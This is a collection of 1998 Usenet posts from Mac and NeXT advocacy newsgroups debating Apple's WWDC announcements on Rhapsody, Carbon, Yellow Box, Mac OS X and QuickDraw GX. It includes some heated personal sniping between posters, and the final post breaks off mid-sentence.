Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 09:26:08 -0700
Organization: Trilithon Research and Trading
Message-ID: <35587820.EDB672E1@trilithon.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk> <355859FC.180BA8F6@nstar.net>
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Michael Peck wrote:
* . . . . If it's about good technology and good
* management and good public relations and good
* motivational ability versus bad of all the same, I'd
* say everyone's losing, and I don't know how you can
* possibly blame Lawson.
Because he's there . . . .
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 16:28:22 GMT
Organization: I don't think so
Message-ID: <slrn6lguc3.6a2.jason@jhste1.dyn.ml.org>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129> <35586EAB.EF7C8EF7@trilithon.com>
Henry McGilton wrote:
>> GX was an experiment that failed.
>Shame that X-Windows didn't go the same way.
You misspelled "Microsoft" as "X-" (incidentally, there's
no such thing as "X-Windows").
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
Subject: Re: WWDC according to New York Times
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <6j8umq$qvn@chile.earthlink.net>
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Date: Tue, 12 May 1998 16:34:14 GMT
NNTP-Posting-Date: Tue, 12 May 1998 12:34:14 EDT
Did Markoff write that article? He's got to be about the most incompetent
computer journalist I've ever seen. The only thing I can see that he did
before being hired by the Times was write a crappy cyberpunk novel...
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #15: "I feel like Cinderella in more ways than I care to
go into."
-Chris Elliott
From: Michael Benedetti <mike.benedetti@no-spam.lmco.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 09:01:50 -0700
Organization: Lockheed Martin Federal Systems
Message-ID: <3558726E.E5C7C92D@no-spam.lmco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com>
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It seems that Jobs is jettisoning all the bad ideas of the previous regimes. The
only way to gauge the result of Jobs' discisions is Apple's bottom line. He has
two quarters of improvement in his favor. As for the attitudes of developers
about the loss of Rhapsody, well Apple looked to Adobe as an example of
developer response to Rhapsody. Adobe was not enthusiastic.
According to an account of Jobs' speech in the San Jose Mercury News, Apples plan
is to
roll the best elements of Rhapsody into MacOS X (multi-threading, protected
memory etc).
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 08:45:47 -0700
Organization: Trilithon Research and Trading
Message-ID: <35586EAB.EF7C8EF7@trilithon.com>
References: <6j9gam$1cc$8@ironhorse.plsys.co.uk> <B17DBA51-CA75@206.165.43.129>
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Lawson English wrote:
* GX was an experiment that failed.
Shame that X-Windows didn't go the same way.
* The fact that NeXT developers have a vested interest
* in seeing it fail also (so that DPS can thrive) merely
* makes it worse.
This statement is so lame-brained it doesn't even qualify
as drivel.
Go ahead and build that AppKit GX layer --- show us all what
a wizard you are.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: bsanders@net66.com (B. Sanders)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 11:17:59 -0600
Organization: Sanders Consulting
Message-ID: <bsanders-ya023180001105981117590001@news.net66.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <MPG.fc20d5351bdee5c98973d@news.itg.ti.com>
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In article <MPG.fc20d5351bdee5c98973d@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Eric Bennett, ericb@pobox.com says...
> > It's looking more and more like Apple didn't get much useful stuff out of
> > the NeXT purchase than Mr. Jobs.
> They got Steve Jobs.. Who could make the 3rd class passengers on the
> Titanic feel like everything is ok. If Apple is truly recovering, it's
> as much his doing as the products. At the very least, it appears that
> he's help to make it not so fashionable to bash Apple in the press.
Absolutely. He's one of those people that you want on your side. Good
press and great P.R. is what is driving Apple's fortunes now. (Would you
have believed this could happen -- under Amelio? Ha!)
Some folks got it, some ain't got it. He's got it.
Barry
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 10:35:50 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35586C56.B68E310F@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <35585E24.FF0731D6@milestonerdl.com> <RC_51.1922$sy4.3355491@news.rdc1.sdca.home.com>
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Rex Riley wrote:
> He may have troubles with the licensing of BSD... Does adding Mac extensions
> to the core BSD OS commit him to release the code into the public domain?
Now, I'm not a lawyer, but I'll play one, today only, on the 'net.
As *I* understand the BSD licence....they can take any code they want, they just
have to CREDIT the source, and not use the source as part of a marketing scheme,
plus hold them harmless.
So, licencing troubles should be few.
> I
> think he would entirely abandon BSD but not OPENSTEP.
The OpenSTEP developers should start feeling like the Newton Developers right
about now.
> IF the shit hits the fan and MacOS X goals are unobtainable, Apple will still
> have OPENSTEP or Rhapsody circa May1998, anyway.
But at that time, who will believe them?
If Apple plans this as a fall-back position, then they should still keep working
on the cross-platform issues. Apple hasn't done that.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 16:46:00 GMT
Message-ID: <6j9uc8$l39$1@newsfep4.sprintmail.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de>
<6j893a$g46$1@newsfep4.sprintmail.com> <3557DA61.F8D7788C@trilithon.com>
<6j8ne2$ps6$1@newsfep3.sprintmail.com> <6j9gam$1cc$8@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
> > I am very sorry, I dont see what is wrong with what I did? Can you
please
> > inform me?
> > I am most definitely not going to apologize when I see absolutely nothing
> > wrong with what I did?
> >
> Hmm, I'd have thought that you should have known better, however I suspect
we
> should give you the benefit of the doubt on this one. Lawson's pride and
joy
> is QuickDraw GX which is emphatically not part of the Carbon API (due to
lack
> of developer interest, it says in the paper) -- a rather distinct beastie
I am sorry, my eyes usually just glaze over when I see Lawson ranting about
quickdraw or quickdraw gx.. It just stuck in my head that Lawson always
talks about quickdraw (as opposed to quickdraw gx). The original post WAS
half in jest, given Lawson is always ranting about quickdraw (gx). Even tho
it was in jest, and I confused quickdraw with quickdraw gx (my ventures into
mac programming were real basic, didnt get past quickdraw), I dont see how
someone would find it offensive? I tried not to be mean to Lawson, even tho
the humor was directed at him
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 12:52:56 -0400
Organization: Interport Communications Corp.
Message-ID: <6j9up8$pnk$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <6j82vd$1cc$1@ironhorse.plsys.co.uk>
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: Given Carbon (which you could regard as being a step beyond even a
: transparent BlueBox --
You mean an iMac? ;-)
--
Ben
<Just Another System Administrator>
From: "Benjamin Smith" <benjs@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 98 12:55:22 -0400
Organization: Netcom
Message-ID: <B17DF73F-8875F@209.109.225.96>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
I usually don't agree with much of what Nathan has to say but there is a
lot of validity here. We must be jaded. Put up Apple or shut up. Every 18
months a new pie-in-the-sky strategy emerges. I take this one with the same
grains of salt that I've taken the rest.
Stop embarrasing ourselves, Mac fans. Stop putting ourselves in the
position to be let down. Apple comes through, hardwarewise. No doubt about
it. Some software also, like QuickTime 3. But when it comes to OSs Apple
can't seem to follow any of their own plans and must continually revise and
set the target back years.
The truth of the matter. Windows gets crude multitasking, so-so dynamic
memory allotment, crude protected memory 4 years ago and Apple's still
trying and now promising some great form of these will occur in 1999. And
still haven't delivered a crude version. I'm tired of menu block and my
mouse being useless while apps are launching using MacOS 8.1
Ben S.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 09:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17DC2B8-2C40C@206.165.43.129>
References: <1d8vzxh.bbqkhd169j8ybN@sextans111.wco.com>
Cc: "Mike Paquette" <mpaque@wco.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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>You've got it.
>
>Existing MacOS apps (68K & PPC) run in the Blue Box. (Covered in
>Thursday's session)
>
>Carbon apps run native PPC code in protected address spaces with modern
>OS services.
>
>Yellow apps run alonside the Carbon apps.
>
OK, as long as this is the case, then my GXFCN demo-stack can run as a
standalone app in the Blue Box, no? Ditto with any GXFCN-using stack.
You'll see something early-alphaish by Friday, health allowing.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 09:25:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17DC5F7-38742@206.165.43.129>
References: <1d8w09f.1e69mol1xtilxrN@sextans111.wco.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
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Mike Paquette <mpaque@wco.com> said:
>> Did I miss something?
>
>You just wouldn't be you if you didn't miss something.
>
Touche.
>>
>> Did this sound a little high on hype and low on content? I presume that
the
>> rest of the conference will flesh things out...
>
>Yes, it will.
>
>> And what is the WWDC attendance, anyway? As bad, worse, or better than
>> expected?
>
>More than last year, about what was expected.
Good.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 09:24:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17DC5C5-37B7D@206.165.43.129>
References: <3557DDE0.4333CCA0@trilithon.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Henry McGilton <henry@trilithon.com> said:
>We noticed. Wondered when you were about to starting frothing again.
>Take your anti-depression medication
Actually, it is anti-allergy medication -comes to the same thing, actually.
and start coding that QuickDraw
>GX AppKit layer --- we're all waiting to see what you can produce
>in the two hours per day you're not posting to UseNet.
>
> * The only way to produce 2D graphics using Carbon is
> * 32-bit QuickDraw.
>That *is* a bummer --- on this issue we agree on something, finally.
So, between QuickDraw and QuickDraw 2D there is...?
What?
Why mock my enjoyment of the [admittedly less-than-ideal] GX APIs over
QUickDraw and then agree that the lack of anything but QuickDraw in Carbon
is a Bad Thing?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:11:52 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1205981211520001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <355752ce.469474@198.0.0.100> <35586D65.6F87@yahoo.com>
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In article <35586D65.6F87@yahoo.com>, Rob Szarek <raszarek@yahoo.com> wrote:
> Nathan Hughes wrote:
>
> > > Rhapsody IS
> > >GOING TO SHIP.
> >
> > I used to listen to mac users say copland was going to ship. I even
> > heard one or two say Exponential was going to ship. I'm just hearing
> > another mac user now, lots of words which mean very little..
>
> From Steve Jobs "sliding" timeline chart, I saw in his presentation that
> his current "vision" for Rhapsody is Q3.99, for Release 1.0 for PPC
Err... that should be Q3.98 right? Mac OS X is due Q3.99.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Steve Jobs fulfills fiduciary responsibility
Date: 12 May 1998 10:11:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6j9vr4$flq@nntp02.primenet.com>
As CEO of NeXT, Steve had a fiduciary responsibility to the shareholders
of that company. In that role he had a responsibility to sell NeXT to
Apple at the highest possible price when the opportunity presented itself.
As Interim CEO of Apple, Steve has a fiduciary responsibility to the
shareholders of Apple. In that role he has a responsibilty to choose the
best plan for OS development. It may be that he has decided to discard
Rhapsody as part of that plan.
I would have liked to see Apple use the NeXT OS more effectively, but I
can see a certain logic to Steve's moves. Two different roles, two
different responsibilities.
As technologists we may wish for a more dramatic OS roadmap, but for
shareholders a slow build out of the current MacOS market base could be a
better plan.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8wynb.xhjiq91n58xspN@roxboro0-043.dyn.interpath.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Tue, 12 May 1998 17:07:18 GMT
NNTP-Posting-Date: Tue, 12 May 1998 10:07:18 PDT
In comp.sys.next.advocacy Nathan Urban wrote:
> > Still you'd be nuts to go write something to the carbon one either.
> > As it probably will be replaced once more by something else, next summer.*
>
> Are you just being a troll, or are you really that stupid? I'm guessing
> the former.
I wouldn't want to guess which he is - but even at the most charitable
he's not listening to what he's saying because it's REALLY stupid.
--
John Moreno
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac
owners?)
Date: 12 May 98 09:32:41 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B17DC7C5-1FDA6@153.37.20.253>
References: <Esu12F.2yG@micmac.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
>It seems clear to me that carbon apps will ship for Intel...
>
I didn't see the endian issue addressed in the white paper, so it's real
unclear to me from a technical perspective.
Also, note that current Carbon-compatible apps would not require a
recompile to run under Carbon. Unless you've got an emulator for Intel...
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 10:08:33 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981008330001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104>
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In article <ericb-1105981832070001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> I know that Rhapsody will ship! My objection is that Apple's mainstream
> OS for the average Mac user is not shipping until 1999!
Sure it is! It's called MacOS 8.5, and it's shipping in Fall of 1998.
> The average Mac
> user wants Apple to ship an OS that doesn't crash and an OS with better
> performance (particularly the former). Apple is now specifically stating
> that Rhapsody is not that OS.
Apple has said nothing of the sort. Rhapsody will have everything that it
was going to have before, including the Blue Box for MacOS compatibility.
People who want an OS that doesn't crash and has better performance can
still use Rhapsody. MacOS applications will still not have those advanced
features under Rhapsody, just as they were before. Except now, they WILL
have those features under MacOS X. I see no problem here.
> In other words, you can count out all of today's major software
> publishers? I see Adobe happily demoing Photoshop on Carbon. But they
> aren't porting to Rhapsody (no demos there), nor is Apple giving them a
> reason to do so.
Well, Photoshop 5.0 was running on Carbon on Rhapsody, but...yes, you're
right, it doesn't look like Adobe will be porting 5.0 to Rhapsody. As
opposed to before, when...uh...when they weren't porting 5.0 to Rhapsody.
But now, it WILL be running under X, so it will have advanced OS features.
And for anyone who wants to write NEW applications, the Rhapsody
development environment will still be the best thing for them. And for
people who want other advanced Rhapsody features (such as OO development
and cross-platform), they'll still need to port to Rhapsody.
> I know that, but it is *another significant delay* in delivering what
> Apple's customers have been anticipating for far too long.
It is NOT another significant delay! It is adding a new feature set in the
future, over and above what was already promised (which is still coming out
on time). Rhapsody will still do what it was going to do, and it will still
come out this Fall. MacOS X will just offer more features, and will come
out later.
To make an analogy: I promise to make the fastest car on the market by this
Fall. I have Car A lined up to come out this fall. Car A can go up to
500MPH. Then this summer, I announce that I will have Car B available NEXT
fall. Car B will run at 750MPH. Your complaint is, "It's another year until
the fastest car comes out! Car B is faster than Car A!" Well, yes, but when
Car A comes out, it WILL be the fastest car, just like I promised. And when
Car B comes out, it will ALSO be the fastest car!
> I can conclude that Rhapsody is not Apple's modern new OS for the average
> Mac user,
To be fair, Apple said a long time ago that Rhapsody will not be for the
average user. By extension, you could conclude that, before yesterday, we
had heard of NO modern OS for the average user! So by my reckoning, we are
now better off, not worse off, than before.
> George
> noted that Apple was shying away from Rhapsody, and he was right: today
> Steve reminds us that MacOS is the "crown jewels" of Apple, and Rhapsody
> is, more or less, an afterthought.
Well, the semantics are kind of misleading. Yes, Steve Jobs said that MacOS
is the "crown jewels" of Apple, meaning that he didn't want to sacrifice
compatibility with old apps for the sake of a new OS. But Rhapsody was (and
is) still the underpinnings of the new advanced OS! Rhapsody is NOT an
afterthought; it is, in fact, the center of Apple's OS strategy!
> The yellow box and cross-compilation are great, but not if everybody
> writes to nonportable Carbon APIs instead. [An x86 blue box would sure be
> nice, but there is no indication that this will happen.]
If people don't want to port, then the apps won't run on Intel, just like
they wouldn't before. But now, they WILL have modern OS features on the
Mac. And if people start from scratch, they can write Rhapsody apps that
will run on both.
> It's looking more and more like Apple didn't get much useful stuff out of
> the NeXT purchase than Mr. Jobs. They're paying little attention to the
> OS they paid for with $400 million. I'm certainly paying attention to it,
> but I wish Apple would too.
Well gee, they're not calling it Rhapsody, but does that mean they're not
paying attention to it? From what I understand, OpenStep + PowerPC =
Rhapsody, and Rhapsody + Carbon + Sonata = Mac OS X. It looks like the
NeXT purchase is still at the center of Mac OS X.
Andy Bates.
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 12 May 1998 13:18:06 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja08e$rat$1@interport.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199> <rmcassid-1105982346510001@dialin33418.slip.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: But will we get Carbon based Bolo?
What's Bolo?
--
Ben
<Just Another System Administrator>
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
<ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com>
Message-ID: <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 17:27:23 GMT
NNTP-Posting-Date: Tue, 12 May 1998 10:27:23 PDT
Organization: @Home Network
In <35586AD9.C2C2FFB0@milestonerdl.com> M Rassbach wrote:
> But, I'd LOVE to see a comment on:
>
> "YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
>
>
The sky is falling, the sky is falling... Let's go tell the King :-) It
hasn't done any good yet. You'll wait a couple of weeks before anyone with
knowledge has bandwidth for csna.
Mac Developer's want to keep selling what they have. Rhapsody had a horizon
future beyond the reach of Mac ISV business plans. What's real interesting?
Nobody is picking up on the backstory that no Mac Developer's deemed the Mac
marketplace worthy of a "new" application or a "rewrite" to Rhapsody.
-r
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:21:35 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-1205981221350001@qburst.msfc.nasa.gov>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news>
In article <andyba-ya02408000R1205981008330001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> Apple has said nothing of the sort. Rhapsody will have everything that it
> was going to have before, including the Blue Box for MacOS compatibility.
> People who want an OS that doesn't crash and has better performance can
> still use Rhapsody. MacOS applications will still not have those advanced
> features under Rhapsody, just as they were before...
Well, one feature they will have, sort of. Crash in Blue Box, bring down
the Blue Box. Crash in MacOS pre-X, bring down the machine (or at
least strongly recommend a reboot :-) ). This is an important "feature",
and part of the answer to a question posed in an earlier thread,
"Will MacOS X break non-Carbon apps?" (or vice versa).
DJB
From: float@interport.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 13:29:37 -0400
Organization: Interport Communications Corp.
Message-ID: <6ja0u1$s5r$1@interport.net>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com>
Salvatore Denaro (sal@panix3.panix.com) wrote:
*snip*
: But MacOS X uses Rhapsody's Mach+BSD4.4 foundation and Dev tools.
: So who cares what they call it? They can call it NewtonOS 3,000
: for all I care.
*snip*
: It will be Mach3+BSD4.4.
*snip*
How do you know that MacOS X will have the BSD4.4 stuff? Do you have a
pointer? If you have one, and it's not to a rumors site, I'll buy you a
beer. (Are you going to the Linux UG thing tomorrow night on Third Ave.?)
--
Ben
<Just Another System Administrator>
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 11:38:38 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6ja1eu$n7k$1@xmission.xmission.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu>
In comp.sys.next.advocacy Matt Kennel <mbkennel@yahoo.com> wrote:
: Why does it matter to you that Adobe and Macromedia and Microsoft write for
: the Yellow Box? If they don't want to use good object technology, that's
: their problem.
No, it's your problem, my problem, and everyone else's problem that loves
the Yellow Box.
If the big guns don't support Yellow Box, and only the smaller shops use
it, one day the managers are going to look at the bottom line and say,
"Hey, why are we spending $n million on Yellow Box when we only have ten
smaller shops using it?" Then they will cut it, and we will be left with
no Yellow Box, and with a procedural API.
There is only one reason to keep the Yellow Box now and that is to be able
to check off the box on the evaluation sheet that says "Cross-platform."
If Carbon goes Intel, then kiss the Yellow box goodbye.
: Perhaps they'll be woken up when three hackers in a garage kick their butt
: with some OpenStep apps.
It didn't happen before, when OPENSTEP was a platform. It didn't happen
when NeXT released OPENSTEP for Windows. It might happen now that the
MacOS is a native platform for Yellow Box, but I am not betting the farm
on it.
I share your feelings about the relative strength of the Yellow Box for
writing apps, but without serious support from major third parties,
Yellow Box is going to go--has gone--the way of the dodo.
............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Tue, 12 May 1998 10:21:01 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981021010001@news>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
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In article <Esu12F.2yG@micmac.com>, nospam@micmac.com wrote:
> It seems clear to me that carbon apps will ship for Intel...
No, they won't. Apple has said that Carbon will be MacOS-only. Come on, do
you really think they could knock out a few APIs and make every Mac app
suddenly Intel-compatible? No way.
Andy Bates.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:46:01 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com>
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In article <35586F01.243A7BE3@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
<snip>
> > Rhapsody 1.0 is due for release in Q3 '98. That implies later this summer
> > or early fall. This was in the speech.
>
> But obviously, Apple isn't planning too terribly much for Rhapsody, is
> it? That's fairly obvious. This is just PR work by Jobs done in advance
> to stem (he hopes) the huge disappointment the released Rhapsody will
> be. By diverting attention to the NeXT Great Thing post Rhapsody, Jobs
> hopes to minimize the bad PR the company will get by the actual Rhapsody
> release later this year, which will be incomplete, buggy, and a let
> down. This is Jobs resorting to Apple's tried and True formula of
> "Promise 'em anything, but always give 'em the NeXT Great Thing." This
> is damage control, pure and simple. In other quarters it's called "bait
> & switch." Some Apple fans seem to have an absolutely ravenous and
> unquenchable appetite for this approach. I wonder how well it will work
> this time.
Or perhaps, this was an attempt at the Worldwide Developers Conference not
to piss off Macintosh developers by pushing too heavily something that
would entirely obselete their software and force them to entirely rewrite
if they wanted to gain PMT/PM/VM and such.
Incidentally, take a look at:
<http://www.stepwise.com/SpecialCoverage/WWDC98/Monday.html>
It sure looks like Rhapsody is dead. It sure looks like Rhapsody will flop
and the only thing that will save it is.... Rhapsody renamed as Mac OS X.
That is all Mac OS X is you know. It is not something different. It is the
same with some more added in. Particularly that more is the set of Carbon
APIs which improve backwards compatibility while allowing apps written for
them to take advantage of all the core OS features that YB apps can.
> > Mac OS X will include the Yellow Box API in addition to the "Carbon" API.
> > It will likely also come with the Blue Box to support older Mac OS apps.
> > Basically, this means that old Mac OS apps, Yellow Box apps, and Carbon
> > apps will run on Mac OS X. In the mean time, there will be Allegro (and an
> > update to this), Sonata, and Rhapsody.
>
> If Jobs was as optimistic as you are about all of these interim, baby
> steps, why bother to announce "Mac OS 10" at this early stage, almost
> two years before its release? Nope--this is Apple's same old same old.
Because he doesn't want to further alienate Mac developers who are already
leary of Apple due to past foolishness on its part? Now he has provided a
way for these developers to retain their investment and not be forced to
either rewrite their applications entirely for the Yellow Box or leave the
platform entirely and go to Windows. Apple has screwed developers in the
past, and it's trying (perhaps not very succesfully, but still trying) not
to do it again.
> Frankly, you should remember that Mac OS X (10) is at least 18 months
> out. If Jobs is betting on G3 exclusivity at that time, it would be in
